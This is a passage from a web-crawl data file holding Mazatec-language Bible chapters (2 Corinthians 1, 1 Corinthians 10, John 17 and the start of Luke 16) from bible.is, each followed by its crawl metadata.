xi̱ta̱ ra ki̱tso̱: \"Tse kjo̱nda kata'se‑li Na̱'ìn\", 'kia̱ nga ske̱ jè kjo̱nda ra Nainá títsjá‑naji̱n. 12Tjín jngo kjoa̱ ra ma nda níkítsa̱jna‑naji̱n ijo‑na̱ji̱n, jé‑ní nga be‑la̱ takòn‑ji̱n nga tsje ko̱ kixi̱í i̱nchiníjchá‑ji̱n ijo‑na̱ji̱n ya̱ a̱jin‑la̱ xi̱ta̱ i̱sà'nde, ko̱ nga 'ñó nda fìko̱‑no ra jiòn. Kjoa̱ kìi̱, a̱'ta 'tse̱é Nainá nchrabá‑ni, ko̱ mì tsa ta kjoa̱chji̱ne̱ 'tse̱ xi̱ta̱ i̱sà'nde ra i̱nchinìchjeén‑ji̱n; ngi jé kjoa̱chji̱ne̱ ra tsjá kjo̱nda‑la̱ Nainá. 13Xa̱jo̱n ra tsikìnda‑laji̱n, mì tsa kj'ií tsò 'én ra tsiki'ta‑laji̱n; kií tsiki'ta‑ji̱n 'én ra ma chitá'yá jiòn ko̱ ra ma nda ko̱chi̱ya‑no ra a̱'ta tsa̱ji̱n; 'koa̱á 'sín tíkoñáa̱ ra 'a̱n nga nda kjón‑ní katamachi̱ya‑najiòn. 14Koni 'sín ijye kjòchi̱ya chiba‑najiòn ra a̱'ta tsa̱ji̱n, 'koa̱á ti̱'sín tsja 'se̱‑najiòn ra a̱'ta tsa̱ji̱n 'kia̱ nga kj'i̱í india‑ni jè Jesús ra tíjna ítjòn‑ná, koni 'sín nga tsja 'se̱‑naji̱n ra a̱'ta tsa̱jiòn. 15Nga̱ 'koa̱á 'sín tsaka'tá takòo̱n kjoa̱ kìi̱, 'koa̱á ma‑ni nga ko̱'sín ísikítsjee̱n, nga ya̱á íkatsíjen ítjòn‑najiòn mé‑ni nga ma jò 'ka̱ sa̱kò‑najiòn kjo̱nda, nga jò 'ka̱ kjoáa̱to‑no. 16'Koa̱á 'sín ísikítsjee̱n nga mején‑na ya̱ kjoáa̱to‑najiòn 'kia̱ nga kijiàa̱ ya̱ nangi Macedonia. Ko̱ india kjoáa̱to‑najiòn tsiki 'kia̱ nga koa̱áfa‑na, nga ma ki̱si̱ko̱'tá‑nájiòn 'kia̱ nga kjiáa̱n ya̱ nangi Judea tsiki. 17'Kia̱ nga ko̱'sín isíkítsjen, ¿a taxki̱ isíkítsjen‑ná? ¿A tsó‑ni kjoa̱ nga 'koa̱á 'sín kí'siaa̱n koni 'sín 'sín jñà ra xi̱ta̱ i̱sà'nde? Nga tsò: \"Ko̱ma‑ní\", ko̱ a̱skan, tsò india‑ni: \"Mì kì ko̱ma.\" 18Ndaá tíbe Nainá nga jè 'én ra 'bena̱jmíya‑laji̱n mì tsa jò tjín‑la̱, nga̱ mì tsa bixó‑ji̱n: \"Ko̱ma‑ní\", 'kia̱ nga mì kì tsa ko̱ma‑ni. 19Ra 'a̱n ko̱ Timoteo ko̱ Silvano, 'kia̱ nga i̱nchi'bèna̱jmíya‑laji̱n a̱'ta 'tse̱ Jesucristo ra I'ndí‑la̱ Nainá, jé 'bena̱jmíya‑ji̱n 'én‑la̱ Nainá ra bitjasòn ra mì tsa jò tjín‑la̱, nga̱ Cristo, ni̱kjiá nga jò 'ka̱ chja̱ nga tsò: \"Ko̱ma‑ní\", ko̱ mì kì ko̱ma. Nga̱ a̱'ta 'tse̱ Cristo‑ní nga bitjasòn jè 'én‑la̱ Nainá. 20Ta mé 'én ra ijye kitsjà Nainá nga ko̱'sín ko̱ma, a̱'ta 'tse̱ Cristo‑ní nga bitjasòn ijye. 'Koa̱á ma‑ni 'kia̱ nga jè Nainá jeya níkíjneé bixó‑né: \"Ko̱'sín katama ra a̱'ta 'tse̱ Cristo.\" 21Jé Nainá ra ko̱'sín kixi̱ i̱nchisíkítsa̱jna‑ná nga ya̱ titsa̱jnake̱é jè Cristo [ra xá jahíjin‑ni], ko̱ jé Nainá ra ko̱'sín tsjahíjin‑ná nga kitsjà xá‑ná. 22Ti̱'koa̱á ijyeé tsikí'ta chi̱ba̱‑ná nga̱ ijyeé 'tse̱ tsó‑ná, ko̱ ijyeé tsikíjnajin ya̱ inìma̱‑ná, jè Inìma̱ Tsje‑la̱ ra tje̱n kitsjà ítjòn‑ná mé‑ni nga ijye tjín kixi̱‑ni nga tjábé ijye‑ná mé ra ijye tjínda‑la̱ nga tsjá‑ná. 23Jé sabá Nainá síkíjna masen koni jngo xi̱ta̱ ra be, nga̱ jè nda tíkotsíjen kó'sín tíjna inìma̱‑na̱. Tsa mì kì ikatsíjen‑najiòn koni 'sín nga kíxian, ta kií‑ní nga majìn‑na nga ajò ko̱ma‑la̱ inìma̱‑najiòn jñà 'én ra 'a̱n tjín‑ni nga kokó‑no. 24Majìn‑naji̱n nga ji̱n ko̱tèxoma‑laji̱n koni 'sín nga makjiín‑najiòn a̱'ta 'tse̱ Nainá. Jé ra mejèn‑naji̱n nga ki̱si̱ko̱'ta-isa‑laji̱n nga isa̱ 'ñó katasakó‑najiòn kjo̱tsja, nga̱ ijyeé 'ñó kixi̱ titsa̱jnako̱ jiòn kjoa̱ ra makjiín‑no ra a̱'ta 'tse̱ Cristo.\n2 Corintios Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/","date":"2013-12-07T19:26:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055701\/warc\/CC-MAIN-20131204131735-00030-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":778,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè ko̱ tichjaá, kì nìjchàajiìn‑jèn nga jñà xi̱ta̱ jchínga kjiìn‑ná, [k'e̱ nga itjojiìn na̱xa̱ndá Egipto], ya̱á tsibítsa̱jnangui yije i̱jiìn ifi [nga tsakó‑la̱ ndi̱yá], ti̱koa̱á ngats'iì tsatojiìn ndáchikon. 2K'oa̱á ngaya‑la̱ koni tsà komà bautizar ya̱ i̱jiìn ifi ko̱ i̱jiìn ndáchikon mé‑ne nga xi̱ta̱‑la̱ Moisés ko̱ma‑ne. 3K'oa̱á ti̱s'ín jngoò ska̱ya tsojmì kiskine xi kjo̱xkón ndaà ts'e̱ Nainá. 4Ti̱koa̱á ta jngoò ska̱ya nandá kits'iì xi kjo̱xkón ndaà ts'e̱ Nainá, jè nandá xi ya̱ na̱xi̱ itjo‑ne nga jè Nainá kitsjaà‑la̱. Jè na̱xi̱, jè ngaya‑la̱ Cristo nga jè tsajmeèyako̱ ndi̱yá ñánda chinchimaya. 5Ta̱nga jñà xi̱ta̱ jchínga koi, kjìn jchán k'en ya̱ ñánda nangui kixì choòn nga Nainá mìkiì kisaseèn‑takòn koni s'ín kis'iìn ngats'iì xi̱ta̱ jchínga koi, ta chibaá tsiningui‑ne. 6Jñà kjoa̱ xi k'oa̱s'ín komà, jñà okóya‑ná nga mì jñà si̱kjaàjñaá kjoa̱ xi ch'o tjín koni kis'iìn jñà xi̱ta̱ jchínga‑ná. 7Kì k'oa̱ s'ín sando̱ xkósòn yaxkón koni kis'iìn i'nga xi̱ta̱ jchínga koi, nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jñà xi̱ta̱ na̱xa̱ndá tsibìtsa̱jna nga tsakjèn koa̱ kits'iì, i̱kjoàn tsasítje̱n nga kitè [nga jè kisìtsjako̱ xkósòn].\" 8Ti̱koa̱á mìkiì kjoa̱ chijngui s'e̱én koni s'ín kis'iìn i'nga xi̱ta̱ jchínga koi, nga tà jngoò na̱chrjein kaàn jàn jmiì xi̱ta̱ k'en. 9Mì kì ta̱xki̱ chít'aá Na̱'èn‑ná koni s'ín kis'iìn i'nga xi̱ta̱ jchínga koi; k'oa̱á komà‑ne nga k'en nga kiskine‑la̱ ye̱. 10Ti̱koa̱á kì í'ñó‑ìsa tsajét'aà‑là Nainá koni s'ín kis'iìn i'nga xi̱ta̱ jchínga koi. K'oa̱á komà‑ne nga jè àkja̱le̱‑la̱ kjoa̱biyaà kisìk'en xi̱ta̱ koi. 11Ngats'iì kjoa̱ koi, k'oa̱á s'ín komàt'in jñà xi̱ta̱ jchínga‑ná ko̱ k'oa̱á s'ín kisijna chi̱ba̱ mé‑ne si̱jiìn‑ná. Kisit'aà Xo̱jo̱n‑la̱ Nainá nga jcha̱á jñá mé kjo̱'in xi si̱nè‑ná tsà k'oa̱ ti̱s'ín s'e̱én jñá xi titsa̱jnakoaán na̱chrjein xi jye tífehet'aà. 12K'oa̱á ma‑ne jè xi ko̱s'ín síkítsjeèn nga kixi̱ tíjna, kàtasíkinda̱ yijo‑la̱ nga mì jé sakó‑la̱. 13Jñò, kj'eè mé kjoa̱ xi mat'ioòn nga tíchìt'aà‑nò xi ìsa̱ 'ñó 'in tjín koni mat'in xi̱ta̱ xi kj'ei̱í. Nainá, xi̱ta̱ kixi̱‑né, jè kàta'ñót'aà takòn nga mìkiì tsjá'nde nga ìsa̱ tsato chít'aà‑nò koni kji chíkjoa̱ko̱‑nò. Ti̱jè‑ne Nainá ko̱kò ndi̱yá kós'ín ki̱chìkjoa̱‑nò koni s'ín tíchìt'aà‑nò skanda k'e̱ nga kjoe̱het'aà kjoa̱. 14Jñò ndí 'ndsè, ni̱ i̱tsé kjoa̱ ts'e̱ xkósòn nìkítsjeèn nga mejèn‑nò jcha̱xkón. 15'A̱n, k'oa̱á s'ín tìchjà‑nò koni xi̱ta̱ xi tjín‑la̱ kjo̱hítsjeèn. Jchósòn‑là 'én xi xán‑nò, a kixi̱í kjoa̱. 16K'e̱ nga 'yoaá vino xi tjíya chi̱tsín nga nìjét'aà‑lá Nainá nga kàtasíchikon‑t'in, ¿a mìtsà ya̱ nìngásòn‑koa̱á ko̱ jní‑la̱ Cristo? Ko̱ k'e̱ nga nìxkoa̱yaá i̱nchra̱jín, ¿a mìtsà ya̱ nìngásòn‑koa̱á ko̱ yijo‑la̱ Cristo? 17Jñá, na̱s'ín 'ñó kjìn ma‑ná, jè i̱nchra̱jín xi bichiaá, ta jngoò ma‑ne; k'oa̱á ma‑ne nga ngats'iaá, ta jngoò yijo ma‑ná. 18Chítsejèn‑là xi̱ta̱ na̱xa̱ndá Israel, jñà xi kine yijo‑la̱ cho̱ xi biyaà ya̱ i̱'nde tsjeè nga tsjá‑la̱ kjo̱tjò Nainá. Xi̱ta̱ koi, ya̱á síngásòn‑ko̱ kjo̱tjò xi tsjá‑la̱ Nainá ya̱ i̱'nde tsjeè. 19K'e̱ nga k'oa̱ xan‑nò, mìtsà xan‑nò nga tjín‑la̱ o̱kixi̱ jñà xkósòn ko̱ tsojmì xi sinchát'aà‑la̱. 20Jñà 'én xi xan‑nò, jñà kjo̱tjò xi fìko̱ jñà xi̱ta̱ xi mìkiì beèxkon Nainá, jñà fìko̱‑la̱ ini̱ma̱ ch'o‑la̱ nei̱í, mìtsà jè sobà Nainá. 'A̱n, majìn‑na̱ nga ya̱ sìngásòn‑ko̱o ini̱ma̱ ch'o‑la̱ nei̱í. 21Mìkiì ndaà tjín, k'e̱ nga jye 'yò vino xi ts'e̱ Jesús, xi otíxoma‑ná, i̱kjoàn s'io̱o xi ts'e̱ ini̱ma̱ ch'o‑la̱ nei̱í. Ti̱koa̱á mìkiì ndaà tjín, k'e̱ nga jye bichioò i̱nchra̱jín xi ts'e̱ Jesús, i̱kjoàn bichioò xi ts'e̱ ini̱ma̱ ch'o‑la̱ nei̱í. 22¿A xi mejèn‑nò si̱kjàn‑là Na̱'èn‑ná nga kàtachi̱ni̱? ¿A ìsa̱á tjín‑nò nga'ñó mì k'oa̱‑ne Nainá? 23Tsò jñà xi̱ta̱: \"Tjí'nde‑né ni̱ta̱ mé xi s'e̱én.\" Kixi̱í kjoa̱ tjí'nde‑né, ta̱nga mìtsà ngats'iì kjoa̱ nga ndaà tjín. Tjí'nde‑né ni̱ta̱ mé kjoa̱ xi s'e̱én, ta̱nga mìtsà ngats'iì kjoa̱ tsjá‑ná nga'ñó. 24Mìtsà tà kjo̱ndaà tsa̱jòn binchaàtsjioò ítjòn, jè ti̱nchátsjioò ítjòn kjo̱ndaà ts'e̱ xi̱ta̱ xi kj'ei̱í. 25Maá chi̱ne̱e ni̱ta̱ mé yijo xi satíjna ya̱ ñánda biyaà cho̱. Kì kiì chjinanguio ñánda j'iì‑ne mé‑ne nga mì ch'o ko̱ma‑la̱ kjo̱hítsjeèn‑nò. 26Nga ts'e̱é Na̱'èn‑ná jè nangui ko̱ ngats'iì tsojmì xi tjín‑la̱. 27Tsà jngoò xi̱ta̱ xi mìkiì mokjeiín‑la̱ 'én‑la̱ Nainá, ki̱chja̱‑nò nga ki̱chiko̱o, tsà mejèn‑nò nga onguió, chji̱ne̱e yije‑nò xi tsjá‑nò. Kì mé xi chjinanguio nga mì ch'o ko̱ma‑la̱ kjo̱hítsjeèn‑nò. 28Tsà jngoò xi̱ta̱ xi ki̱tso̱‑nò: \"Jñà tsojmì koi, ya̱á kisinchaàt'aà‑la̱ xkósòn.\" Jè kjoa̱‑la̱ xi̱ta̱ xi o̱kitsò‑nò, kì kiì chine, mé‑ne nga mì ch'o ko̱ma‑la̱ kjo̱hítsjeèn‑la̱. 29Mìtsà kjo̱hítsjeèn tsa̱jòn xi tìxan‑nò, ts'e̱é xi̱ta̱ xi o̱kitsò. Ta̱nga tsà tjín i'nga xi̱ta̱ xi sko̱nangui nga ki̱tso̱: \"¿Mé‑ne mì tjí'nde‑na nga s'iaàn ni̱ta̱ mé kjoa̱ xi mejèn‑na nga ta koi kjoa̱‑la̱ nga mì ch'o ko̱ma‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ xi kj'ei̱í? 30'A̱n, tsà tsjaà‑la̱ kjo̱ndaà Nainá i̱t'aà ts'e̱ tsojmì xi kíne̱e, mìkiì ndaà tjín tsà ch'o ki̱tso̱‑la̱ xi̱ta̱ jñà tsojmì xi jye kàtsjaà‑la̱ kjo̱ndaà Nainá.\" 31Ta̱nga jñò, k'e̱ nga bichioò ko̱ tsà 'yò, ni̱ta̱ mé kjoa̱ xi 'nè, k'oa̱á s'ín t'e̱en nga jeya kàtìjna Nainá. 32Kì jé binchaàtsji‑là jñà xi̱ta̱ judío, ko̱ xi mìtsà xi̱ta̱ judío, ko̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. 33'A̱n, k'oa̱á s'ín s'iaàn yije koni s'ín sasén‑la̱ xi̱ta̱ xi kj'ei̱í. Mìtsà jè otsjià ítjoàn xi kjo̱ndaà ts'a̱n, jè otsjià ítjoàn kjo̱ndaà ts'e̱ xi̱ta̱ xi kj'ei̱í mé‑ne nga ki̱tjokàjiìn‑ne kjo̱'in.\n1 Corintios 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/10","date":"2013-12-11T03:40:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164030159\/warc\/CC-MAIN-20131204133350-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":800,"character_repetition_ratio":0.072,"word_repetition_ratio":0.003,"special_characters_ratio":0.236,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, 'kia̱ nga ijye ko̱'sín kiìchja̱, iskotsíjen ján ngajmi nga kitsò: ―Na̱'ìn, ijyeé ijchó ni̱chjin‑la̱, jeya ti̱kíjni jè I'ndí‑li, mé‑ni nga ti̱'koa̱á jeya si̱ìkíjna‑te‑li ra jè. 2Nga̱ ji̱í ijye ki'tsì‑la̱ kjo̱téxoma jè I'ndí‑li nga jè kíjna ítjòn‑la̱ nga'tsì xi̱ta̱, mé‑ni nga tsjá‑la̱ kjo̱binachon ra mì kì fehe'ta nga'tsì xi̱ta̱ ra ji̱ ki'tsì‑la̱. 3Jè kjo̱binachon ra mì fehe'ta jè‑ní nga katabexkon‑li nga ta ji̱ ta̱jngoó‑ní ra ngi kixi̱ kjoa̱ nga Nainá, ko̱ ti̱'koa̱ katabexkon jè I'ndí‑li Jesucristo ra ji̱ inikasín. 4''A̱n jeyaá tísíkíjna‑la i̱ i̱sà'nde, nga̱ ijyeé ijyehe'tà‑na xá ra ji̱ inìnga̱tsja‑ná. 5Na̱'ìn, 'koa̱ ti̱'sín jeya ti̱kíjna‑ná 'ndi̱ ya̱ ngixkìn koni 'sín nga jeya tsakáti̱jnako̱‑la 'kia̱ nga ti̱kjè sinda jè i̱sà'nde. 6'Jñà xi̱ta̱ ra ya̱ i̱sà'nde ki'tsí‑ná ijyeé tsi'kènájmí‑la̱ ra a̱'ta tsa̱ji. Xi̱ta̱ tsa̱ji‑ní ko̱ ji̱í ki'tsí‑ná ko̱ i̱nchisíhitjasòn‑ní koni 'sín tsò jè 'én‑li. 7Jñà xi̱ta̱ kìi̱, ijyeé be 'ndi̱ 'ndi̱ nga nga'tsì ra ji̱ inìnga̱tsja‑ná, ya̱á nchrabá kiti‑ni ya̱ a̱'ta tsa̱ji; 8jñà 'én ra ji̱ ki'tsí‑ná, ijyeé tsi'kènájmí‑la̱ jñà xi̱ta̱ kìi̱; ko̱ ndaá 'jaha'sen‑jin‑la̱. Ko̱ ijyeé kijtseé‑te nga ngi kixi̱í kjoa̱ nga ya̱ inchrabà‑na a̱'ta tsa̱ji; ko̱ makjiín‑la̱ nga ji̱í inikasén‑ná. 9''A̱n, tíbitsá'ba‑la a̱'ta 'tse̱ jñà xi̱ta̱ kìi̱; mì tsa jñà xi̱ta̱ i̱sà'nde ra tíbitsá'batjia, jñá‑ní xi̱ta̱ ra xá ji̱ tsi'kí‑náa̱, nga̱ tsa̱ji‑ní jñà xi̱ta̱ kìi̱. 10Nga'tsì ra xi̱ta̱ tsa̱'a̱n, ti̱'koa̱á tsa̱jií‑ti, ko̱ nga'tsì ra xi̱ta̱ tsa̱ji ti̱'koa̱á tsa̱'a̱án‑te; ko̱ 'a̱án jeya tíbátijnaa̱ a̱'ta 'tse̱ jñà xi̱ta̱ kìi̱. 11''A̱n mì tsa ti̱ i̱ kóti̱jna‑na i̱ i̱sà'nde; tanga jñà xi̱ta̱ kìi̱, i̱í kítsa̱jna i̱ i̱sà'nde; ko̱ 'a̱n, ya̱á tífi káti̱jnako̱ india‑la ya̱ ñánda̱ tijni ra ji̱. Na̱'ìn tsje, nda ti̱kindi̱i nga ko̱ nga'ñó ra tjín‑li, jè nga'ñó ra ji̱ ki'tsí‑ná, mé‑ni nga nda katìtsa̱jtín‑ni koni 'sín nga ji̱ ko̱ 'a̱n, nda titsa̱hijyokjeé. 12'Kia̱ nga tsakáti̱jnako̱ ya̱ i̱sà'nde, ndaá ísikónda̱ nga ísichjée̱n jè nga'ñó ra ji̱ tsi'kí‑naa̱. Ko̱ ni̱jngo ichijà jñà xi̱ta̱ kìi̱, ta jé‑ní ra ijye ko̱'sín tjínè‑la̱ nga ko̱'sín ko̱ma'tin, mé‑ni nga itjasòn‑ni koni 'sín nga tíchja̱ jè xa̱jo̱n ra tjí'ta 'Én‑li. 13''Ndi̱ 'ndi̱ ya̱á tífia ya̱ ñánda̱ tijni ra ji̱; ko̱ kií ko̱'sín tíchjà‑na jñà 'én kìi̱ 'kia̱ nga takó tíjna̱‑isa i̱ i̱sà'nde, mé‑ni nga ti̱'koa̱ nda katasijin‑ni ya̱ inìma̱‑la̱ jè kjo̱tsja ra tjín‑na ra 'a̱n. 14'A̱n ijyeé kítsja‑la̱ jñà 'én‑li, tanga jñà xi̱ta̱ i̱sà'nde síjtìkeé jñà xi̱ta̱‑na̱ ta nga̱tjì‑la̱ mì tsa ti̱ ya̱ chja̱‑ni i̱ i̱sà'nde koni 'sín 'a̱n mì tsa ti̱ ya̱ chjà‑na i̱ i̱sà'nde. 15Mì tsa ko̱'sín tíbitsá'ba‑la nga náchrjekajin ya̱ i̱sà'nde, jè‑ní ra tísíjé‑la nga ti̱kondi̱i a̱'ta 'tse̱ xi̱ta̱‑ni̱í. 16Koni 'sín mì tsa i̱ i̱sà'nde chjà‑na, 'koa̱á ti̱'sín mì tsa ti̱ ya̱ chja̱‑ni i̱ i̱sà'nde jñà xi̱ta̱‑na̱. 17Ngi jè tsje ti̱kítsa̱jna‑ni ko̱ 'én kixi̱‑li nga ngi xi̱ta̱ tsa̱ji katama; nga̱ jè 'én‑li ngi 'én kixi̱ kiti‑ní. 18Koni 'sín nga inikasén‑náa̱ 'a̱n ya̱ a̱jin‑la̱ xi̱ta̱ i̱sà'nde, jñà xi̱ta̱‑na̱, 'koa̱á ti̱'sín tísikásén‑te ya̱ a̱jin‑la̱ xi̱ta̱ i̱sà'nde. 19Ji̱í tísingátsja‑la ijo‑na̱ nga tsje kóti̱jna ya̱ a̱'ta tsa̱ji mé‑ni nga jñà xi̱ta̱‑na̱ ti̱'koa̱á si̱ìnga̱tsja‑li ijo‑la̱ nga tsje kítsa̱jna ra a̱'ta 'tse̱ kjo̱hixi̱‑li. 20'Mì tsa tà jñà tíbitsá'batjìa̱ jñà xi̱ta̱‑na̱, ti̱'koa̱á tíbitsá'batjí‑tee̱ jñà xi̱ta̱ ra ko̱kjiín‑la̱ 'én‑na̱ 'kia̱ nga 'ke̱èna̱jmíya jñà xi̱ta̱‑na̱, 21mé‑ni nga nga'tsì jñà xi̱ta̱ kìi̱, jngoó katama‑ni, koni 'sín tijnako̱‑ná ra ji̱ Na̱'ìn, ko̱ 'a̱n, ya̱á tíjna̱ko̱‑la, ti̱'koa̱ ya̱ katitsa̱jnako̱‑náa̱ jñà xi̱ta̱ kìi̱, mé‑ni nga katakjiín‑la̱ jñà xi̱ta̱ i̱sà'nde nga ji̱í inikasén‑na. 22Jè kjoa̱jeya ra ji̱ ki'tsí‑ná, 'a̱n, 'koa̱á ti̱'sín kítsja‑la̱ jñà xi̱ta̱‑na̱, mé‑ni nga ta jngo katama‑ni nga'tsiòo̱, koni 'sín jngo ma‑ná ra jién. 23Nga̱ jñà xi̱ta̱‑na̱ ya̱á tíjna̱ko̱ ko̱ ji̱í tijnako̱‑ná ra 'a̱n, mé‑ni nga ngi kixi̱í kjoa̱ nga jngo katama‑ná; ko̱ jñà xi̱ta̱ i̱sà'nde katabe nga ji̱í inikasén kiti‑ná, ko̱ katabe‑te nga tsjachaá‑ti jñà xi̱ta̱‑na̱ koni 'sín nga tsjacha‑ná ra 'a̱n. 24'Na̱'ìn, ji̱í tsi'kí‑ná jñà xi̱ta̱‑na̱ ko̱ jè ra mejèn‑na nga ya̱ katitsa̱jna‑te ya̱ ñánda̱ kóti̱jna ra 'a̱n, mé‑ni nga katabe‑ni jè kjoa̱jeya‑na̱, jè kjoa̱jeya ra ji̱ tsi'kí‑ná; nga̱ ji̱ ndaá tsjacha‑náa̱ skanda ti̱'kia̱‑ni nga ti̱kjè sinda jè i̱sà'nde. 25Ji̱ Na̱'ìn ra xi̱ta̱ kixi̱ 'mì‑li, jñà xi̱ta̱ i̱sà'nde mì kì bexkon‑li, tanga 'a̱n bexkoón‑la; ko̱ ti̱'koa̱á jñà xi̱ta̱‑na̱ ijyeé beé‑te nga ji̱í inikasén‑náa̱ i̱ i̱sà'nde. 26Jñà xi̱ta̱‑na̱ ijyeé tsi'kènájmí‑la̱ ra a̱'ta tsa̱ji, ko̱ takó 'sa̱á 'kenájmí-isa‑la̱, mé‑ni nga jè kjoa̱tsjacha ra tjín‑li a̱'ta tsa̱'a̱n, ya̱á katasijnajin‑la̱, ko̱ mé‑ni nga ya̱ kóti̱jnajin‑na ya̱ inìma̱‑la̱ jñà xi̱ta̱ kìi̱.\nSan Juan 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/17","date":"2013-12-09T02:14:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163846391\/warc\/CC-MAIN-20131204133046-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":693,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.336,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús tsibéno̱jmí ìjngoò‑la̱ kjoa̱ xi mangásòn, jñà xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―Jngoò k'a, jngoò xi̱ta̱ nchi̱ná, tíjna jngoò‑la̱ xi̱ta̱ xi síkinda̱ chi̱'nda. Xi̱ta̱ xi kj'ei̱í kiì nga nguixko̱n nei‑la̱ nga kitsjaàt'in 'én nga tsojmì‑la̱ tísíkje. 2Jè nei‑la̱, k'e̱é kiìchja̱‑la̱, kitsò‑la̱: \"¿Mé 'én xi tsját'in‑lè xi̱ta̱? Tjiì‑ná kinda̱ kjoa̱ ts'e̱ xá‑lè; mì‑la ti̱ kiì chi̱'nda sko̱‑la̱ ki̱jna‑ne.\" 3Chi̱'nda jè, k'e̱é tsohóko̱ yijo‑la̱, kitsò: \"¿Mé xi s'iaàn? Jè nei‑na̱ mì ti̱ kiì tsjá‑na xá. 'A̱n, mìkiì chíkjoa̱‑na nga siìxákoa̱a nangui. Masobà‑na tsà to̱n siìjé kjo̱tjoà. 4Jyeé be mé xi s'iaàn mé‑ne nga s'e̱‑na amigo xi tsjá'nde‑na ni'ya‑la̱ k'e̱ nga tjáxìn‑na xá jè.\" 5K'e̱é kiìchja̱ ìjngoò ìjngoò‑la̱ jñà xi̱ta̱ xi tje̱n‑la̱ to̱n ts'e̱ nei‑la̱. Kitsò‑la̱ jè xi ítjòn: \"¿Kó tjín kitje̱n‑lè ts'e̱ nei‑na̱?\" 6Xi̱ta̱ jè kitsò: \"Jngoò sìndo̱ barril asìti̱ kitje̱n‑na.\" Jè chi̱'nda kitsò‑la̱ xíkjín: \"Chjoí xo̱jo̱n‑lè, ti̱jni, ni̱to̱n tìndaà ìjngoiì xi kj'ei̱í xo̱jo̱n xi tà icháte chjí‑la̱.\" 7I̱kjoàn kiskònangui‑la̱ xi ìjngoò, kitsò‑la̱: \"Ngaji̱, ¿kó tjín kitje̱n‑lè?\" Xi̱ta̱ jè kitsò: \"Jngoò sìndo̱ naxá trigo kitje̱n‑na.\" K'e̱é kitsò‑la̱: \"Chjoí xo̱jo̱n‑lè; tìndaà ìjngoiì xi tà ñijòn kaàn chjí‑la̱.\" 8Chi̱'nda jè, kijtseèxkón nei‑la̱ nga tjín‑la̱ kjo̱hítsjeèn nga amigo tsohótsji, na̱s'ín ch'o kis'iìn nga kiskoòna̱cha̱n‑la̱ nei‑la̱. Jñà xi mìtsà xi̱ta̱‑la̱ Nainá, ìsa̱á tjín‑la̱ kjo̱hítsjeèn kó s'ín ótsji amigo‑la̱ xi skoétjò mì k'oa̱á‑ne koni jñà xi̱ta̱ xi iseèn tjín kjo̱hítsjeèn‑la̱. 9'K'oa̱á xán‑nò, ti̱kjeén to̱n ko̱ tsojmì xi tjín i̱ i̱sò'nde nga kàtas'e‑nò amigo mé‑ne k'e̱ nga mì ti̱ kiì ko̱chjeén‑ne i̱ i̱sò'nde, ján ngajmiì s'e̱‑nò amigo xi skoétjò‑nò ya̱ ñánda ki̱tsa̱jnaà ni̱ta̱ mé na̱chrjein‑ne. 10'Jè xi ndaà síkitasòn jè kjoa̱ xi chiba tjín, ti̱koa̱á ndaà síkitasòn jè kjoa̱ xi tse tjín; ta̱nga jè xi kona̱cha̱n kjoa̱ xi chiba tjín ti̱koa̱á kona̱cha̱n‑né kjoa̱ xi tse tjín. 11Jñò, tsà mì ndaà titsa̱nìchjeén tsojmì ko̱ to̱n xi tjín i̱sò'nde jè, mìkiì tjoé‑nò kjoa̱ xi nguì ndaà tjín ts'e̱ ngajmiì. 12Tsà mì ndaà titsa̱nìkjeén tsojmì ko̱ to̱n xi mì tsa̱jòn‑jèn xi Nainá kisìnga̱tsja‑nò i̱ i̱sò'nde, ti̱koa̱á mìkiì tjoé‑nò xi nguì tsa̱jòn ján ngajmiì. 13'Ni̱jngoò chi̱'nda xi jò ko̱ma nei‑la̱ nga si̱ìxá‑la̱; tsà jò ko̱ma nei‑la̱, jngoò ko̱jtikeè koa̱ jngoò ko̱tsjakeè; jngoò ndaà kjit'aà‑la̱ koa̱ ch'o si̱ìko̱ xi ìjngoò. Jñò, tsà kjoa̱ nchi̱ná si̱ìs'in‑là, mìkiì ko̱s'in‑la̱ kjoa̱ ts'e̱ Nainá. 14Jñà xi̱ta̱ fariseo nga tsjakeè to̱n, k'e̱ nga kiì'nchré ngats'iì kjoa̱ koi, tà tsijnòkeè Jesús. 15K'e̱é kitsò‑la̱ jè Jesús: ―Jñò, ndaà nìkítsa̱jnaà yijo‑nò nga nguixko̱n xi̱ta̱, ta̱nga Nainá, beè ini̱ma̱‑nò nga mìtsà kixi̱ kjoa̱ nga ndaà 'nè. Jè kjoa̱ xi jeya síkíjna xi̱ta̱, Nainá ochrjekàngui‑né. 16Jesús kitsò‑ìsa: ―Jñà Xo̱jo̱n‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ xi 